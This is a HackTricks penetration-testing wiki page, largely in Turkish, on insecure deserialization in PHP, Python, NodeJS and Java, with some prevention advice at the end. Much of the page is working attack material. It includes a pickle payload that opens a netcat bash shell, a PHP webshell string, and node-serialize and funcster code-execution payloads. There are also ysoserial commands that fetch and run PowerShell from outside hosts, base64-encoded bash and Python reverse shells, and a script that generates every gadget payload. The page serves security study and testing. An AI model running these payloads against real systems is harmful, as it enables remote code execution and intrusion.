Deserialization
Reading time: 40 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Serialization bir nesnenin saklanabilir veya iletişim sürecinde iletilebilir bir formata dönüştürülme yöntemi olarak anlaşılır. Bu teknik genellikle nesnenin yapısını ve durumunu koruyarak ileride yeniden oluşturulabilmesi amacıyla kullanılır.
Deserialization ise bunun tersidir. Belirli bir formatta düzenlenmiş veriyi alıp tekrar bir nesne haline getirme sürecini içerir.
Deserialization tehlikeli olabilir çünkü potansiyel olarak saldırganların serileştirilmiş veriyi manipüle ederek zararlı kod çalıştırmasına veya nesnenin yeniden oluşturulması sırasında uygulamada beklenmeyen davranışlara yol açmasına izin verir.
PHP
PHP'de, serileştirme ve deserileştirme süreçleri sırasında belirli sihirli metotlar kullanılır:
__sleep
: Bir nesne serileştirilirken çağrılır. Bu metot, serileştirilmesi gereken nesnenin tüm özelliklerinin isimlerini içeren bir dizi döndürmelidir. Genellikle bekleyen verileri kaydetmek veya benzer temizlik görevleri için kullanılır.__wakeup
: Bir nesne deserileştirilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini gerçekleştirmek için kullanılır.__unserialize
: Bir nesne deserileştirilirken (varsa)__wakeup
yerine çağrılan metottur.__wakeup
'a kıyasla deserileştirme süreci üzerinde daha fazla kontrol sağlar.__destruct
: Bir nesne yok edilmek üzereyken veya betik sonlandığında çağrılan metottur. Genellikle dosya işleyicilerini veya veritabanı bağlantılarını kapatma gibi temizlik görevleri için kullanılır.__toString
: Bir nesnenin string gibi davranmasını sağlar. İçindeki fonksiyon çağrılarına bağlı olarak bir dosya okunması veya benzeri görevler için kullanılabilir; nesnenin metinsel bir temsilini sunar.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Sonuçlara bakarsanız, nesne deserialize edildiğinde __wakeup
ve __destruct
fonksiyonlarının çağrıldığını görebilirsiniz. Bazı eğitimlerde bir attribute'ü yazdırmaya çalışırken __toString
fonksiyonunun çağrıldığı belirtilir; ancak görünüşe göre artık bu gerçekleşmiyor.
warning
Eğer sınıfta uygulanmışsa, __unserialize(array $data)
metodu __wakeup()
yerine çağrılır. Bu metod, serileştirilmiş veriyi bir dizi olarak sağlayarak nesnenin unserialize edilmesine izin verir. Bu metodu, özellikleri unserialize etmek ve deserializasyon sırasında gerekli işlemleri yapmak için kullanabilirsiniz.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
Açıklamalı bir PHP örneğini burada okuyabilirsiniz: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, burada https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf veya burada https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Sınıfları
PHP autoload işlevini keyfi php dosyalarını yüklemek ve daha fazlası için suistimal edebilirsiniz:
PHP - Deserialization + Autoload Classes
Referanslı Değerleri Serileştirme
Eğer bir değeri başka bir serileştirilmiş değere referans olarak serileştirmek istiyorsanız, şunu yapabilirsiniz:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHP Object Injection'ı allowed_classes
ile Önleme
info
unserialize()
'ün ikinci argümanı ($options
dizisi) desteği PHP 7.0'de eklendi. Eski sürümlerde fonksiyon yalnızca serileştirilmiş stringi kabul eder; bu, hangi sınıfların örneklenebileceğini kısıtlamayı imkansız kılar.
unserialize()
serileştirilmiş akış içinde bulduğu her sınıfı örnekler aksi belirtilmedikçe. PHP 7'den beri bu davranış allowed_classes
seçeneği ile kısıtlanabilir:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Eğer allowed_classes
atlanır veya kod PHP < 7.0 üzerinde çalışıyorsa, bu çağrı tehlikeli hale gelir; çünkü saldırgan __wakeup()
veya __destruct()
gibi magic methods'ları kötüye kullanarak payload hazırlayıp Remote Code Execution (RCE) gerçekleştirebilir.
Gerçek dünya örneği: Everest Forms (WordPress) CVE-2025-52709
WordPress eklentisi Everest Forms ≤ 3.2.2 bir yardımcı wrapper ile savunma yapmaya çalışmış ama eski PHP sürümlerini unutmuştu:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Hâlâ PHP ≤ 7.0 çalıştıran sunucularda bu ikinci dal, bir yönetici zararlı bir form gönderimini açtığında klasik bir PHP Object Injection'a yol açıyordu. Minimal bir exploit payload şu şekilde görünebilir:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Admin girdiyi görüntülediği anda nesne örneklendi ve SomeClass::__destruct()
çalıştırıldı; bu da keyfi kod yürütülmesine yol açtı.
Çıkarımlar
- Her zaman
unserialize()
çağırırken['allowed_classes' => false]
(veya sıkı bir white-list) verin. - Defansif wrapper'ları denetleyin – genellikle eski PHP dallarını unuturlar.
- Sadece PHP ≥ 7.x'e yükseltmek yeterli değildir: seçenek yine de açıkça sağlanmalıdır.
PHPGGC (ysoserial for PHP)
PHPGGC PHP deserileştirmelerini kötüye kullanmak için payload oluşturmanıza yardımcı olabilir.
Çoğu durumda uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu bulamayabilirsiniz ancak dış PHP extension'larının kodunu kötüye kullanabiliyor olabilirsiniz.
Bu yüzden mümkünse sunucunun phpinfo()
'sini kontrol edin ve internet üzerinde arama yapın (hatta PHPGGC'nin gadgets'larında) kötüye kullanabileceğiniz bazı olası gadget'ları bulun.
phar:// metadata deserialization
Eğer bir LFI bulduysanız ve bu LFI dosyayı sadece okuyorsa ve içindeki php kodunu çalıştırmıyorsa, örneğin file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). phar protokolünü kullanarak bir dosya okunurken gerçekleşen bir deserileştirmeyi kötüye kullanmayı deneyebilirsiniz.
Daha fazla bilgi için aşağıdaki gönderiyi okuyun:
Python
Pickle
Nesne unpickle edildiğinde, fonksiyon ___reduce___ çalıştırılacaktır.
Kötüye kullanıldığında sunucu bir hata döndürebilir.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Bypass tekniğini kontrol etmeden önce, python3 çalıştırıyorsanız python2 ile uyumlu bir obje üretmek için print(base64.b64encode(pickle.dumps(P(),2)))
kullanmayı deneyin.
Daha fazla bilgi için pickle jails'ten kaçış hakkında bakın:
Yaml & jsonpickle
Aşağıdaki sayfa, yamls python kütüphanelerinde güvensiz deserialization'ı suistimal etme tekniğini anlatır ve Pickle, PyYAML, jsonpickle ve ruamel.yaml için RCE deserialization payload oluşturmakta kullanılabilecek bir araçla sona erer:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS, PHP veya Python gibi sadece bir obje oluşturulması için yürütülecek "magic" fonksiyonlara sahip değildir. Ancak toString
, valueOf
, toJSON
gibi doğrudan çağrılmasalar bile sıkça kullanılan bazı fonksiyonlara sahiptir.
Eğer bir deserialization'ı suistimal ederseniz, bu fonksiyonları diğer kodları yürütmek üzere ele geçirerek (muhtemelen prototype pollutions'ı suistimal ederek) çağrıldıklarında rastgele kod çalıştırabilirsiniz.
Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
and prototype
pollution
Bu teknik hakkında bilgi edinmek istiyorsanız aşağıdaki eğitime göz atın:
NodeJS - proto & prototype Pollution
node-serialize
Bu kütüphane fonksiyonları serileştirmeye izin verir. Örnek:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Serileştirilmiş nesne şu şekilde görünecek:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function
is serialized the _$$ND_FUNC$$_
flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js
you can find the same flag and how the code is using it.
As you may see in the last chunk of code, if the flag is found eval
is used to deserialize the function
, so basically user input is being used inside the eval
function.
However, just serialising a function
won't execute it as it would be necessary that some part of the code is calling y.rce
in our example and that's highly olası değil.
Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function
when the object is deserialized.
In the next chunk of code notice the last parenthesis and how the unserialize
function
will automatically execute the code:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Daha önce belirtildiği gibi, bu kütüphane _$$ND_FUNC$$_
sonrasındaki kodu alır ve eval
kullanarak çalıştırır. Bu yüzden, kodu otomatik çalıştırmak için fonksiyon oluşturma kısmını ve son parantezi silebilir ve aşağıdaki örnekte olduğu gibi sadece bir JS oneliner çalıştırabilirsiniz:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here daha fazla bilgi about how to exploit this vulnerability.
funcster
funcster'ın kayda değer bir yönü, standard built-in objects'un erişilemez olmasıdır; bunlar erişilebilir kapsamın dışında kalırlar. Bu kısıtlama, yerleşik nesnelerin metodlarını çağırmaya çalışan kodların çalışmasını engeller ve console.log()
veya require(something)
gibi komutlar kullanıldığında "ReferenceError: console is not defined" gibi istisnalara yol açar.
Bu sınırlamaya rağmen, tüm standard built-in objects dahil olmak üzere global context'e tam erişimin geri getirilmesi belirli bir yaklaşımla mümkündür. Global context'e doğrudan erişimi kullanarak bu kısıtlamayı aşabilirsiniz. Örneğin, erişim aşağıdaki snippet ile yeniden sağlanabilir:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Daha fazla bilgi için bu kaynağı okuyun.
serialize-javascript
serialize-javascript paketi yalnızca serialization amaçları için tasarlanmıştır; yerleşik herhangi bir deserialization yeteneğine sahip değildir. Kullanıcılar deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmî örnekte serialized verileri deserialize etmek için doğrudan eval
kullanımı önerilmektedir:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Bu fonksiyon objects'i deserialize etmek için kullanılıyorsa, bunu kolayca exploit edebilirsiniz:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Daha fazla bilgi için more information read this source.
Cryo kütüphanesi
Aşağıdaki sayfalarda bu kütüphaneyi keyfi komutlar yürütmek için nasıl kötüye kullanabileceğinize dair bilgiler bulabilirsiniz:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Java'da, deserialization callbacks deserialization işlemi sırasında yürütülür. Bu yürütme, bu callback'leri tetikleyen kötü amaçlı payload'lar oluşturan saldırganlar tarafından suistimal edilebilir ve zararlı eylemlerin potansiyel olarak yürütülmesine yol açabilir.
İmzalar
White Box
Kod tabanında potansiyel serialization zafiyetlerini tespit etmek için arayın:
Serializable
arayüzünü uygulayan sınıflar.java.io.ObjectInputStream
,readObject
,readUnshare
fonksiyonlarının kullanımı.
Özellikle dikkat edin:
- Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan
XMLDecoder
. XStream
'infromXML
metodu, özellikle XStream sürümü 1.46 veya daha eskiyse, serialization sorunlarına açıktır.ObjectInputStream
ile birliktereadObject
metodunun kullanımı.readObject
,readObjectNodData
,readResolve
veyareadExternal
gibi yöntemlerin uygulanması.ObjectInputStream.readUnshared
.- Genel olarak
Serializable
kullanımı.
Black Box
Black box testing için, java serialized objects'ı (kaynak: ObjectInputStream
) gösteren belirli signatures veya "Magic Bytes"'ı arayın:
- Onaltılık desen:
AC ED 00 05
. - Base64 desen:
rO0
. - HTTP response header'larında
Content-type
'ınapplication/x-java-serialized-object
olarak ayarlanması. - Önceden sıkıştırma olduğunu gösteren onaltılık desen:
1F 8B 08 00
. - Önceden sıkıştırma olduğunu gösteren Base64 desen:
H4sIA
. .faces
uzantılı web dosyaları vefaces.ViewState
parametresi. Bu desenlerin bir web uygulamasında bulunması, post about Java JSF ViewState Deserialization'de detaylandırıldığı gibi bir inceleme yapılmasını gerektirmelidir.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Açık olup olmadığını kontrol et
Java Deserialized exploit'in nasıl çalıştığını öğrenmek istiyorsanız, şunlara bakın: Basic Java Deserialization, Java DNS Deserialization, ve CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
Modern kod tabanları bazen deserialization'ı java.security.SignedObject
ile sarar ve iç nesneyi deserialize eden getObject()
çağrısından önce imzayı doğrular. Bu, rastgele top-level gadget classes'ı engeller ancak bir saldırgan geçerli bir imza elde edebilirse (örn. private-key compromise veya bir signing oracle) hâlâ exploitable olabilir. Ayrıca, hata-işleme akışları kimliği doğrulanmamış kullanıcılar için session-bound token'lar mint edebilir ve böylece aksi halde korunan sinks'leri pre-auth durumda açığa çıkarabilir.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
Bilinen güvenlik açıklarına sahip herhangi bir uygulamanın yüklü olup olmadığını kontrol edebilirsiniz.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to tüm bilinen ve Ysoserial için exploit sağlayabilen kütüphaneleri kontrol etmeyi. Ya da Java-Deserialization-Cheat-Sheet üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.
Ayrıca istismar edilebilecek olası gadget zincirlerini aramak için gadgetinspector kullanabilirsiniz.
gadgetinspector'ı (build ettikten sonra) çalıştırırken karşısına çıkan çok sayıda uyarı/hata ile ilgilenmeyin ve bitmesine izin verin. Tüm bulguları gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt altında yazacaktır. Lütfen dikkat edin ki gadgetinspector bir exploit oluşturmaz ve yanlış pozitifler gösterebilir.
Black Box Test
Burp eklentisi gadgetprobe kullanarak hangi kütüphanelerin mevcut olduğunu (hatta sürümlerini) tespit edebilirsiniz. Bu bilgiyle zafiyeti istismar etmek için bir payload seçmek daha kolay olabilir.
GadgetProbe hakkında daha fazla bilgi için burayı okuyun.
GadgetProbe ObjectInputStream
deserializations üzerine odaklanır.
Burp eklentisi Java Deserialization Scanner ile ysoserial ile istismar edilebilen vulnerable libraries'i tespit edebilir ve bunları exploit edebilirsiniz.
Java Deserialization Scanner hakkında daha fazla bilgi için burayı okuyun.
Java Deserialization Scanner ObjectInputStream
deserializations üzerine odaklanır.
Ayrıca Freddy kullanarak Burp içinde deserializations zafiyetlerini tespit edebilirsiniz. Bu eklenti sadece ObjectInputStream
ile ilgili zafiyetleri değil aynı zamanda Json ve Yml deserialization kütüphanelerinden kaynaklanan zafiyetleri de tespit eder. Aktif modda, bunları sleep veya DNS payload'ları kullanarak doğrulamaya çalışır.
Freddy hakkında daha fazla bilgiyi burada bulabilirsiniz.
Serialization Test
Her şey sunucunun herhangi bir zafiyetli kütüphane kullanıp kullanmadığını kontrol etmekle ilgili değildir. Bazen serileştirilmiş nesnenin içindeki verileri değiştirip bazı kontrolleri atlayabilir (örneğin bir webapp içinde size admin yetkisi verebilir).
Eğer bir java serialized object'in bir web uygulamasına gönderildiğini görürseniz, gönderilen serileştirme nesnesini daha insan okunabilir bir formatta yazdırmak için SerializationDumper kullanabilirsiniz. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı kolaylaştırır.
Exploit
ysoserial
Java deserializations'ı istismar etmek için ana araç ysoserial (download here)'dır. Ayrıca kompleks komutları (örneğin pipe içeren) kullanmanıza izin veren ysoseral-modified seçeneğini de düşünebilirsiniz.
Bu aracın ObjectInputStream
'i istismar etmeye odaklı olduğunu unutmayın.
Enjeksiyonun mümkün olup olmadığını test etmek için bir RCE payload'tan önce "URLDNS" payload'ını kullanmaya başlamanızı tavsiye ederim. Yine de, "URLDNS" payload'ı çalışmayabilir ama başka bir RCE payload'ı çalışabilir.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() için bir payload oluştururken yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi özel karakterleri kullanamazsınız, komut çalıştırmak için "$()"'ı veya bir komuta boşluklarla ayrılmış argümanları geçiremezsiniz (örneğin echo -n "hello world"
yapabilirsiniz ama python2 -c 'print "Hello world"'
yapamazsınız). Payload'ı doğru şekilde encode etmek için use this webpage kullanabilirsiniz.
Aşağıdaki script'i kullanarak Windows ve Linux için all the possible code execution payload'larının tamamını oluşturup zafiyetli web sayfasında test edebilirsiniz:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Bu https://github.com/pwntester/SerialKillerBypassGadgetCollection adresini ysoserial ile birlikte kullanarak daha fazla exploit oluşturabilirsiniz. Araç hakkında daha fazla bilgi, aracın tanıtıldığı konuşmanın slaytlarında bulunuyor: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec farklı Json ve Yml serialization kütüphanelerini Java'da exploit etmek için payload üretmek amacıyla kullanılabilir.
Projeyi derlemek için pom.xml
dosyasına bu dependencies'leri eklemem gerekti:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven'i yükleyin, ve projeyi derleyin:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Eğer bazı ysoserial payloads'larını test etmek istiyorsanız bu webapp'i çalıştırabilirsiniz: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Java çeşitli amaçlar için yoğun şekilde serialization kullanır, örneğin:
- HTTP requests: Serialization, parametrelerin, ViewState'in, çerezlerin vb. yönetiminde yaygın olarak kullanılır.
- RMI (Remote Method Invocation): Java RMI protokolü, tamamen serialization'a dayanan, Java uygulamalarında uzak iletişim için temel taşlardan biridir.
- RMI over HTTP: Bu yöntem genellikle Java tabanlı thick client web uygulamaları tarafından kullanılır ve tüm nesne iletişimleri için serialization'dan yararlanır.
- JMX (Java Management Extensions): JMX, nesneleri ağ üzerinden göndermek için serialization kullanır.
- Custom Protocols: Java'da standart uygulama ham Java nesnelerinin iletimi şeklindedir; bu, sonraki exploit örneklerinde gösterilecektir.
Prevention
Transient objects
Serializable
implement eden bir sınıf, sınıf içinde serializable olmaması gereken herhangi bir nesneyi transient
olarak işaretleyebilir. Örneğin:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable'ı implement etmek zorunda olan bir sınıfın serileştirilmesinden kaçının
Belirli nesnelerin Serializable
arayüzünü sınıf hiyerarşisi nedeniyle uygulaması gerektiği durumlarda, istem dışı deserialization riski vardır. Bunu önlemek için bu nesnelerin deserialize edilemez olmasını sağlayın; bunun için her zaman bir istisna fırlatan final
readObject()
yöntemi tanımlayın, aşağıda gösterildiği gibi:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java'da Deserialization Güvenliğini Artırma
java.io.ObjectInputStream
'i özelleştirme, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem aşağıdaki durumlarda uygundur:
- Deserialization kodu sizin kontrolünüz altındaysa.
- Deserialization için beklenen sınıflar biliniyorsa.
Deserialization'ı yalnızca izin verilen sınıflarla sınırlamak için resolveClass()
metodunu override edin. Bu, açıkça izin verilenler dışında herhangi bir sınıfın deserialization'ını engeller; örneğin aşağıdaki örnek deserialization'ı yalnızca Bicycle
sınıfıyla sınırlar:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement kod değişikliği mümkün olmadığında bir yedek çözüm sunar. Bu yöntem, JVM parametresi kullanarak öncelikle blacklisting harmful classes için uygulanır:
-javaagent:name-of-agent.jar
Bu, anlık kod değişikliklerinin pratik olmadığı ortamlarda ideal olan, deserialization'ı dinamik olarak güvence altına almanın bir yolunu sağlar.
Bir örnek için bakın: rO0 by Contrast Security
